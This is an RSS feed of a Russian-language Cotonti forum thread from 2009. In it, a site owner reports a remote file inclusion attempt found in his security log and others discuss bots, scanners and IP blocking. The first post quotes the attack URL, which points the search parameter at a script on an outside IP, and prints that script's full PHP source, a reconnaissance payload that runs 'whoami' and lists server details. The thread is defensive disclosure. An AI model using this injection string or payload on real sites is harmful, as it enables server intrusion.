<?xml version='1.0' encoding='UTF-8'?>
<rss version='2.0'>
	<channel>
		<title>cotonti.com : Security warning</title>
		<link>https://www.cotonti.com</link>
		<description>Останні повідомлення в темі</description>
		<generator>Cotonti</generator>
		<language>en</language>
		<pubDate>Thu, 30 Apr 2026 17:43:56 -0000</pubDate>

		<item>
			<title>Trustmaster</title>
			<description><![CDATA[Нет никакой информации об инсталляции системы. А подобные атаки в автоматическом порядке организуются ботами и сканнерами сетевых уязвимостей.]]></description>
			<pubDate>Ср, 16 Гру 2009 15:50:20 -0000</pubDate>
			<link><![CDATA[https://www.cotonti.com/ua/forums?m=posts&q=5074&d=0#post21584]]></link>
		</item>
		<item>
			<title>Sain</title>
			<description><![CDATA[Дело в том, что раньше я писал сайты на РоР и ни разу в логах не встречал попытки СЕ-инклудов. По этой причине у меня возник вопрос, как хакеры так быстро вышли на новый проект (в сети всего 3 дня). Как считаете, может в коде Седитио была скрытая отправка инфы о инсталляции системы? Есть люди, которые просматривали весь код?]]></description>
			<pubDate>Ср, 16 Гру 2009 05:48:04 -0000</pubDate>
			<link><![CDATA[https://www.cotonti.com/ua/forums?m=posts&q=5074&d=0#post21576]]></link>
		</item>
		<item>
			<title>Alex300</title>
			<description><![CDATA[У меня и на проектах, что на SED'е системный лог пестрит подобными записями. Десятки в день. Пока не сломали <img class="aux smiley" src="https://www.cotonti.com/./images/smilies/smile.gif" alt=":)" />]]></description>
			<pubDate>Ср, 16 Гру 2009 05:38:00 -0000</pubDate>
			<link><![CDATA[https://www.cotonti.com/ua/forums?m=posts&q=5074&d=0#post21575]]></link>
		</item>
		<item>
			<title>Sain</title>
			<description><![CDATA[<blockquote><a href="https://www.cotonti.com/forums.php?m=posts&amp;p=21573#21573">#</a> <strong>Kort :</strong>
ясно. а я лет 5 уже мучаюсь вопросом<br />
</blockquote>
<br />
Главное, что б в инклуд файле не было руткида или чего-то такого. Не знаю, как старые версии Седитио, но Котонти от таких атак защищен. И это не может не радовать))]]></description>
			<pubDate>Ср, 16 Гру 2009 04:53:56 -0000</pubDate>
			<link><![CDATA[https://www.cotonti.com/ua/forums?m=posts&q=5074&d=0#post21574]]></link>
		</item>
		<item>
			<title>Kort</title>
			<description><![CDATA[ясно. а я лет 5 уже мучаюсь вопросом]]></description>
			<pubDate>Ср, 16 Гру 2009 04:42:58 -0000</pubDate>
			<link><![CDATA[https://www.cotonti.com/ua/forums?m=posts&q=5074&d=0#post21573]]></link>
		</item>
		<item>
			<title>Sain</title>
			<description><![CDATA[<blockquote><a href="https://www.cotonti.com/forums.php?m=posts&amp;p=21571#21571">#</a> <strong>Kort :</strong>
У меня такими хаками все логи забиты<br />
</blockquote>
<br />
Эти инклуды являются типичным примером СЕ-атак(Command Execution Attack).]]></description>
			<pubDate>Ср, 16 Гру 2009 03:59:28 -0000</pubDate>
			<link><![CDATA[https://www.cotonti.com/ua/forums?m=posts&q=5074&d=0#post21572]]></link>
		</item>
		<item>
			<title>Kort</title>
			<description><![CDATA[У меня такими хаками все логи забиты]]></description>
			<pubDate>Ср, 16 Гру 2009 03:36:41 -0000</pubDate>
			<link><![CDATA[https://www.cotonti.com/ua/forums?m=posts&q=5074&d=0#post21571]]></link>
		</item>
		<item>
			<title>Sain</title>
			<description><![CDATA[<blockquote><a href="https://www.cotonti.com/forums.php?m=posts&amp;p=21569#21569">#</a> <strong>Yusupov :</strong>
Так Ваш сайт хакнули или нет?<br />
</blockquote>
Нет, вовремя заметил инклуды<br /><br /><b>Добавлено 1 Минута спустя:</b><br /><br /><a href="https://www.cotonti.com/datas/users/include_731.png"><img src="https://www.cotonti.com/datas/thumbs/include_731.png" alt="" class="scale" /></a>]]></description>
			<pubDate>Ср, 16 Гру 2009 02:08:40 -0000</pubDate>
			<link><![CDATA[https://www.cotonti.com/ua/forums?m=posts&q=5074&d=0#post21570]]></link>
		</item>
		<item>
			<title>Yusupov</title>
			<description><![CDATA[Так Ваш сайт хакнули или нет?]]></description>
			<pubDate>Ср, 16 Гру 2009 02:06:17 -0000</pubDate>
			<link><![CDATA[https://www.cotonti.com/ua/forums?m=posts&q=5074&d=0#post21569]]></link>
		</item>
		<item>
			<title>Sain</title>
			<description><![CDATA[Доброго времени суток, уважаемые форумчане. Решил запустить проект на Котонти. Буквально на 3-й день после заливки скриптов на сервер, меня попытались хакнуть.<br />
Как все начиналось. Заливая контент, заглянул в системный лог. Нашел там интересное сообщение системы безопасности:<br />
<strong>A variable type check failed, expecting G/ALP for 'tab' : <a href="http://201.134.249.164/intranet/on.txt?" rel="nofollow">http://201.134.249.164/intranet/on.txt?</a> - /plug.php?e=search&amp;tab=http://201.134.249.164/intranet/on.txt?</strong><br />
<br />
Как видим, хакер инклуднуть в форму поиска вот этот скрипт: <a href="http://201.134.249.164/intranet/on.txt?" rel="nofollow">http://201.134.249.164/intranet/on.txt?</a><br />
Попробовал зайти по этому адресу, но Авира заблокировал доступ. После отключения антивируса скачал файлик. Вот его содержимое:<br />
<br />
<div class="highlight"><pre class="html">&lt;?php
  closelog( );
  $user = get_current_user( );
  $login = posix_getuid( );
  $euid = posix_geteuid( );
  $ver = phpversion( );
  $gid = posix_getgid( );
  if ($chdir == &quot;&quot;) $chdir = getcwd( );
  if(!$whoami)$whoami=exec(&quot;whoami&quot;);
?&gt;
&lt;TABLE BORDER=&quot;0&quot; CELLPADDING=&quot;0&quot; CELLSPACING=&quot;0&quot;&gt;

&lt;?php
  $uname = posix_uname( );
  while (list($info, $value) = each ($uname)) {
?&gt;
  &lt;TR&gt;
    &lt;TD align=&quot;left&quot;&gt;&lt;DIV STYLE=&quot;font-family: verdana; font-size: 10px;&quot;&gt;&lt;span style=&quot;font-size: 9pt&quot;&gt;&lt;b&gt;
		&lt;?= $info ?&gt;
      :&lt;/b&gt; &lt;?= $value ?&gt;&lt;/DIV&gt;&lt;/TD&gt;
  &lt;/TR&gt;
&lt;?php
  }
?&gt;
  &lt;TR&gt;
  &lt;TD align=&quot;left&quot;&gt;&lt;DIV STYLE=&quot;font-family: verdana; font-size: 10px;&quot;&gt;

	&lt;span style=&quot;font-size: 9pt&quot;&gt;&lt;b&gt;
    User Info:&lt;/b&gt; uid=&lt;?= $login ?&gt;(&lt;?= $whoami?&gt;) euid=&lt;?= $euid ?&gt;(&lt;?= $whoami?&gt;) gid=&lt;?= $gid ?&gt;(&lt;?= $whoami?&gt;)&lt;/span&gt;&lt;/DIV&gt;&lt;/TD&gt;
  &lt;/TR&gt;
  &lt;TR&gt;

  &lt;TD align=&quot;left&quot;&gt;&lt;DIV STYLE=&quot;font-family: verdana; font-size: 10px;&quot;&gt;
	&lt;span style=&quot;font-size: 9pt&quot;&gt;&lt;b&gt;
    Current Path:&lt;/b&gt; &lt;?= $chdir ?&gt;&lt;/span&gt;&lt;/DIV&gt;&lt;/TD&gt;
  &lt;/TR&gt;
  &lt;TR&gt;
  &lt;TD align=&quot;left&quot;&gt;&lt;DIV STYLE=&quot;font-family: verdana; font-size: 10px;&quot;&gt;
	&lt;span style=&quot;font-size: 9pt&quot;&gt;&lt;b&gt;
    Permission Directory:&lt;/b&gt; &lt;? if(@is_writable($chdir)){ echo &quot;Yes&quot;; }else{ echo &quot;No&quot;; } ?&gt;

    &lt;/span&gt;&lt;/DIV&gt;&lt;/TD&gt;
  &lt;/TR&gt;  
  &lt;TR&gt;
  &lt;TD align=&quot;left&quot;&gt;&lt;DIV STYLE=&quot;font-family: verdana; font-size: 10px;&quot;&gt;
	&lt;span style=&quot;font-size: 9pt&quot;&gt;&lt;b&gt;
    Server Services:&lt;/b&gt; &lt;?= &quot;$SERVER_SOFTWARE $SERVER_VERSION&quot;; ?&gt;
    &lt;/span&gt;&lt;/DIV&gt;&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR&gt;
  &lt;TD align=&quot;left&quot;&gt;&lt;DIV STYLE=&quot;font-family: verdana; font-size: 10px;&quot;&gt;
	&lt;span style=&quot;font-size: 9pt&quot;&gt;&lt;b&gt;
    Server Address:&lt;/b&gt; &lt;?= &quot;$SERVER_ADDR $SERVER_NAME&quot;; ?&gt;
    &lt;/span&gt;&lt;/DIV&gt;&lt;/TD&gt;
  &lt;/TR&gt;
  &lt;TR&gt;
  &lt;TD align=&quot;left&quot;&gt;&lt;DIV STYLE=&quot;font-family: verdana; font-size: 10px;&quot;&gt;

	&lt;span style=&quot;font-size: 9pt&quot;&gt;&lt;b&gt;
    Script Current User:&lt;/b&gt; &lt;?= $user ?&gt;&lt;/span&gt;&lt;/DIV&gt;&lt;/TD&gt;
  &lt;/TR&gt;
  &lt;TR&gt;
  &lt;TD align=&quot;left&quot;&gt;&lt;DIV STYLE=&quot;font-family: verdana; font-size: 10px;&quot;&gt;
	&lt;span style=&quot;font-size: 9pt&quot;&gt;&lt;b&gt;
    PHP Version:&lt;/b&gt; &lt;?= $ver ?&gt;&lt;/span&gt;&lt;/DIV&gt;&lt;/TD&gt;

  &lt;/TR&gt;
&lt;/TABLE&gt;</pre></div>
<br />
Инфа о серваке – половина успешного взлома. Так что заблокируйте доступ к серверу со следующих Ip:<br />
201.134.249.164 – адрес, где скрипт для инклуда<br />
204.236.*.* - подсеть хакера]]></description>
			<pubDate>Ср, 16 Гру 2009 01:54:30 -0000</pubDate>
			<link><![CDATA[https://www.cotonti.com/ua/forums?m=posts&q=5074&d=0#post21567]]></link>
		</item>
	</channel>
</rss>